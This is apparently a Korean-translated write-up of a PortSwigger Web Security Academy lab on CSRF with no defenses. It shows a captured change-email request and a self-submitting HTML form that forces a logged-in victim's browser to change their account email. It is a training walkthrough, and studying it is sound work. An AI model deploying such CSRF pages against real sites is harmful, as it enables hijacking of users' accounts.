Portswigger's Lab 작성: 방어 장치가 없는 CSRF 취약점
3370 단어 portswiggercsrfwebdevwriteups
로그인한 후 계정의 이메일을 '[email protected]'과 같은 것으로 업데이트하려고 하면 브라우저의 네트워크 탭 또는 Burpsuite Intercept에서 다음 요청을 볼 수 있습니다.
POST /my-account/change-email HTTP/1.1
Host: [0a9a0027047d6aaec1fa58be003b00b3.web-security-academy.net](<http://0a9a0027047d6aaec1fa58be003b00b3.web-security-academy.net/>)
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:104.0) Gecko/20100101 Firefox/104.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 22
Origin: [<https://0a9a0027047d6aaec1fa58be003b00b3.web-security-academy.net>](<https://0a9a0027047d6aaec1fa58be003b00b3.web-security-academy.net/>)
Connection: keep-alive
Referer: [<https://0a9a0027047d6aaec1fa58be003b00b3.web-security-academy.net/my-account>](<https://0a9a0027047d6aaec1fa58be003b00b3.web-security-academy.net/my-account>)
Cookie: session=bQKVomOrYf95eVTuf4XKAw9zlJQDsUUK
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
다음과 같은 신체 구조:
[email protected]
여기서 우리는 이메일 업데이트 작업이 사용자에게 권한을 부여하기 위한 세션 쿠키와 이 작업을 실행하기 위한 이메일 매개 변수만 필요하다는 것을 식별할 수 있습니다. 읽기 자료의 CSRF용 HTML 템플릿을 사용하여 공격을 구축해 보겠습니다.
<html>
<body>
<form action="<https://vulnerable-website.com/email/change>" method="POST">
<input type="hidden" name="email" value="[email protected]" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
우리가 해야 할 일은 양식 구성 요소의 action 속성을 랩의 절대 이메일 업데이트 엔드포인트(이전에 수행한 POST 요청에서 볼 수 있음)로 바꾸고 이메일 입력의 value 속성을 피해자의 이메일에 원하는 값으로 바꾸는 것입니다. 다음으로 변경:
<html>
<body>
<form action="{LAB URL}/my-account/change-email" method="POST">
<input type="hidden" name="email" value="[email protected]" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
이것을 HTML 파일로 저장하면 누군가 우리 사이트를 방문할 때 페이지가 로드되는 즉시 위의 양식이 제출되고 이메일 업데이트가 요청됩니다(세션 쿠키 이후 사용자가 연구소 사이트에서 인증되는 한) 이메일 업데이트 작업을 수행하는 데 필요합니다). 랩을 해결하려면 익스플로잇 서버로 이동하여 HTML 코드를 저장하고 피해자에게 보내야 합니다.
Art Of Code에서 이 글을 확인하십시오: https://artofcode.tech/portswiggers-lab-write-up-csrf-vulnerability-with-no-defenses/
Github: https://github.com/christianpaez/portswigger/tree/main/labs/apprentice/csrf/csrf-vulnerability-with-no-defenses
Reference
이 문제에 관하여(Portswigger's Lab 작성: 방어 장치가 없는 CSRF 취약점), 우리는 이곳에서 더 많은 자료를 발견하고 링크를 클릭하여 보았다 https://dev.to/christianpaez/portswiggers-lab-write-up-csrf-vulnerability-with-no-defenses-4p84텍스트를 자유롭게 공유하거나 복사할 수 있습니다.하지만 이 문서의 URL은 참조 URL로 남겨 두십시오.
우수한 개발자 콘텐츠 발견에 전념 (Collection and Share based on the CC Protocol.)